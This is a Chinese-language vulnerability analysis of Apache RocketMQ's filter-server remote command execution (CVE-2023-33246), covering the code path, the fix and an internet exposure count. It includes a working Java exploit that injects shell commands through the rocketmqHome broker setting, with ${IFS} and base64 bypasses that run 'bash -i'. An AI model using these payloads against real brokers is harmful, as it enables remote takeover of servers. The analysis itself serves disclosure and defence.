补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:

在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:

image

在该类中继续调用到BrokerController中的start()方法

image

继续跟进

image

最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void start() {

this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,

1
2
3
4
5
6
7
8
9
10
11
12
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下:

1、在createFilterServer方法中,more的值要大于0才会触发callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}

意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ... 如果传入 -c curl 127.0.0.1;

那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@ 作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:

顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识,最终构造的payload为:

1
2
3
4
5
6
7
8
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞验证

使用payload进行curl dnslog,每隔30s左右收到一次请求:

image

5.3 漏洞修复

在修复版本4.9.6和5.1.1中都是直接删除了filter server模块

image

5.4 影响范围统计

使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
image

使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
image

通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。

image

6.参考链接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org